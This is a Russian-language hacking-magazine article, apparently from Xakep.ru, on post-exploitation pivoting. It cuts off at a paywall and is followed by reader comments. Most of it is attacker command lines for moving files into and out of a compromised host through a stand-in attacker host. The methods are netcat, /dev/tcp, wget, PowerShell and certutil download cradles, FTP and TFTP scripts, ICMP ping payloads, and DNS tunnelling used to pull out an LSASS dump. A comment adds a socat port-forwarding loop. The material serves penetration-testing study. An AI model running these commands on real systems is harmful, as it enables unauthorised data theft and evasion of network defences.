Pivoting, как ни странно, не имеет никакого отношения к распитию пива. Это один из этапов взлома, когда атакующий создает для себя точку опоры в скомпрометированной системе, плацдарм для дальнейшего проникновения. О приемах, которые для этого применяются, мы сегодня и поговорим.

Во многом постэксплуатация похожа на «экстремальное администрирование» и мало связана с информационной безопасностью. Но без этого этапа не обходится ни один взлом, иначе он попросту лишен смысла. В целом постэксплуатация обычно включает такие последовательные шаги:

  • evasion, обход антивируса;
  • persistence, закрепление (регистрация в автозагрузке, создание службы и так далее);
  • pivoting, организация доступа, точки опоры;
  • privilege escalation, повышение привилегий;
  • gathering, сбор данных (паролей, документов и прочего);
  • lateral movement, горизонтальное перемещение (получение доступа к другим хостам);
  • прочие мероприятия для управления скомпрометированной ОС (получение GUI, установка кейлоггеров, сканирование портов);
  • заметание следов (очистка логов, удаление созданных файлов).

Порядок шагов каждый раз может быть разным, некоторые из них могут и вовсе отсутствовать. Например, тот же самый pivoting нужен далеко не всегда. Каждый из этапов вполне заслуживает отдельной статьи, но сегодня мы поговорим исключительно о pivoting’е.

Pivoting направлен главным образом на обход сетевых экранов или прочих помех передаче данных между атакующим и жертвой, таких как фильтрация портов или NAT. И решать подобные проблемы можно не только пробросом портов или туннелированием. Организация GUI в среде Windows также может стать серьезной проблемой, так как некоторые программы не имеют консольного интерфейса.

С pivoting’ом можно столкнуться на любом этапе атаки — от проникновения во внутреннюю сеть, когда нужно преодолеть ограничения DMZ, до того момента, когда уже получены права администратора домена и нужно добраться до особо охраняемой локальной сети. Будем стараться использовать наименее подозрительные приемы, чтобы нас не спалили антивирусы, и при этом и наиболее универсальные — встроенные команды или портативный софт. Рассмотрим разные случаи pivoting’а — с правами администратора и без. Как обычно, на атакующей стороне используем Linux.

INFO

  • Символом # отмечены случаи, когда необходимы административные права на скомпрометированной ОС.
  • Символом $ — случаи, когда возможен запуск без прав администратора.
 

Передача файлов (инфильтрация и эксфильтрация)

Первая проблема, с которой атакующий сталкивается на этапе pivoting’а, — это передача файлов. Порой нужно залить на удаленный хост эксплоит поднятия привилегий, скачать какой-либо документ, дамп памяти, поднять прокси-сервер, наконец. Специфика передачи данных обусловлена необходимостью выполнить ее исключительно базовыми средствами ОС. Тут есть несколько вариантов.

 

Эксфильтрация через TCP

Классическая передача файлов c помощью netcat выглядит так:

attacker> nc victim 1234 < file
victim$> nc -nv -lp 1234 > file

То же самое, но обратное соединение:

attacker> nc -nv -lp 1234 < file
victim$> nc attacker 1234 > file

Метод главным образом ориентирован на Linux. Однако даже на Linux не всегда присутствует netcat. В таком случае можно передать файлы с использованием bash:

attacker> nc -nv -lp 1234 < file
victim$> exec 3<> /dev/tcp/10.0.0.1/1234
victim$> cat <&3 > file

Разумеется, мы можем выполнить передачу файлов и в обратном порядке — от victim к attacker.

 

Эксфильтрация через SMB

Самый простой вариант передачи файлов под Windows. Для быстрого запуска SMB-сервера используем Python-пакет impacket:

attacker> sudo smbserver.py ro /usr/share/windows-binaries/
victim$> copy \\attacker\ro\nmap.exe
 

Эксфильтрация через HTTP

А это — самый простой вариант передачи файлов под Linux. Для быстрого старта веб-сервера в текущей папке используем встроенный модуль Python:

attacker> python -m SimpleHTTPServer 8080
victim$> wget http://attacker/socat -O /tmp/socat

Часто HTTP — единственное окно в мир из DMZ, и в Windows тоже приходится им пользоваться, причем разными способами. Наиболее универсальный, но не самый красивый метод выглядит так:

victim$> hh.exe http://attacker/nmap.exe.txt
victim$> cd \users\victim\appdata\local\microsoft\windows\
victim$> dir /s nmap.exe*
victim$> cd путь_до_папки
victim$> move nmap.exe[1].txt nmap.exe

Этот способ подразумевает отправку файла любого содержимого, но с расширением .txt. Если на удаленном хосте установлена Windows 7 или новее, проще использовать PowerShell:

victim$> powershell -c (new-object System.Net.WebClient).DownloadFile('http://attacker/nmap.exe','C:\users\victim\desktop\nmap.exe')

Кроме того, если на хосте крутится более-менее свежая Windows 7, можно использовать очень полезную утилиту, к которой мы чуть позже вернемся еще не раз:

victim$> certutil -urlcache -split -f http://attacker/nc.exe.txt nc.exe.txt

Помимо описанных методов, существует еще несколько, включая загрузку с помощью VBS или PowerShell, однако они более громоздки и используются на практике нечасто.

 

Эксфильтрация с использованием FTP

Способ хорошо подходит для Windows в случаях, когда SMB-порты фильтруются. Часто во внутренних сетях между VLAN'ами админы фильтруют порты 445/TCP, что добавляет атакующему проблем. Избавиться от них можно при помощи старого доброго протокола FTP. Для запуска FTP-сервера в текущей папке используем Python-пакет pyftpdlib:

attacker> sudo python -m pyftpdlib -p 21

Поскольку программа FTP интерактивная, на victim потребуется создать небольшой скрипт с командами:

victim$> echo open attacker 21 > ftp.txt
victim$> echo anonymous>> ftp.txt
victim$> echo pass>> ftp.txt
victim$> echo bin >> ftp.txt
victim$> echo GET nmap.exe >> ftp.txt
victim$> echo bye >> ftp.txt
victim$> ftp -s:ftp.txt

Обрати внимание: при передаче логина и пароля пробел отсутствует.

 

Эксфильтрация с помощью TFTP

Достаточно экзотический способ передачи файлов, однако упомянуть о нем, наверное, стоит. Для запуска TFTP-сервера можно использовать классический atftpd, а можно Python-пакет ptftpd.

attacker> sudo ptftpd -p 69 eth0 .
victim#> pkgmgr /iu:TFTP; tftp.exe -i 10.0.0.10 GET nc.exe
victim$> tftp attacker get /nc
 

Эксфильтрация через ICMP

Если весь TCP запрещен, на помощь придет протокол ICMP. Этот метод подходит для эксфильтрации, то есть только для передачи данных в одну сторону — в сторону attacker. Под Linux это можно сделать относительно просто:

victim$> xxd -p -c 4 secret.bin | while read line; do ping -c 1 -p $line attacker; done

В приведенном выше примере мы передаем только 4 байта за один пакет. Под Windows для этого используем PowerShell и любой из кучи готовых скриптов в интернете.

 

Эксфильтрация через DNS

Если дело дошло до DNS, значит, на атакуемом хосте фильтруется все. Или почти все. Любая изолированная внутренняя сеть как-то взаимодействует с внешним миром — с интернетом, например, для загрузки обновлений или отправки электронной почты. Поэтому DNS почти всегда работает на резолв внешних адресов. Очень часто никто не заморачивается составлением белого списка допустимых доменов, так что мы получаем вполне рабочий канал передачи данных в обе стороны.

Для эксфильтрации и инфильтрации через DNS воспользуемся готовыми скриптами. Здесь и во всех последующих разделах о DNS подразумевается, что мы делегировали себе зону attacker.tk. Запускаем кастомный DNS-сервер:

attacker> sudo ./dns_upload.py --udp --file dnscat.exe

Запоминаем количество требуемых DNS-запросов. Для загрузки файла по DNS потребуется небольшой скрипт на VBS, так как он наиболее переносимый и будет работать на любой Windows. Перед запуском не забываем скорректировать количество DNS-запросов в цикле for. Запуск скрипта выполняется следующим образом:

victim$> cscript.exe dns_download.vbs

Несмотря на то что мы получили возможность скачать любой файл и можем воспользоваться готовыми решениями вроде dnscat, бывает, что антивирусы портят жизнь, когда нужно всего лишь забрать какой-нибудь дамп LSASS со скомпрометированной машины. Поэтому используем аналогичные скрипты для эксфильтрации:

attacker> sudo ./dns_download.py --udp --file out.bin
victim$> cscript.exe dns_upload.vbs c:\path\to\secret.bin attacker.tk

Под Linux действуем таким образом:

victim$> ./dns_download.sh attacker.tk 1080 /tmp/dnscat

Метод с DNS всем хорош, но для передачи больших файлов он довольно медленный.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

7 комментариев

  1. Аватар

    dima_gv

    08.09.2020 в 18:35

    круто! однозначно в закладки.

  2. Аватар

    Laglag

    11.09.2020 в 20:16

    на сегоднешний момент это лучшее что я читал

  3. Аватар

    Saulg

    23.09.2020 в 22:13

    При практическом испытании метода с двумя фаерволами пробрасываю рдп порт, сокат на сервере падает. С чем это связано ?

    • Аватар

      Saulg

      23.09.2020 в 22:16

      Решено.
      Проблема была в привилегеях, на сервере socat должен быть запущен с рут правами

      • s0i37

        s0i37

        24.09.2020 в 19:41

        Нет, рут права не нужны.
        Они могут потребоваться только если вы слушаете порт ниже 1024

        • Аватар

          Saulg

          26.09.2020 в 16:19

          Поигрался немного, да вы правы рут права не нужны, но коннект крайне не стабилен так и не понял из-за чего прерывается

          • s0i37

            s0i37

            28.09.2020 в 23:05

            Во-первых, rdp сам по себе иногда рвётся если недостаточная скорость. Во-вторых, продемонстрированный приём это проброс лишь на одно tcp-соединение и лучше всего он подходит для создания ssh-туннеля, через который вы уже потом используете rdp и все остальное. Тем не менее ситуации бывают разные и если нужно таким образом пробрасывать множество соединений (например на прокси) то нужно обернуть socat в цикл:
            victim$> while : victim$> do socat -v tcp-connect:attacker:5555 tcp-connect:127.0.0.1:3389 victim$> done
            В таком случае соединения будут пробрасываться многократно, но не так быстро как хотелось бы, поэтому приложение которое вы будете использовать нужно слегка затормозить strace -o/dev/null -e inject=connect:delay_enter=1000000 rdesktop target

Оставить мнение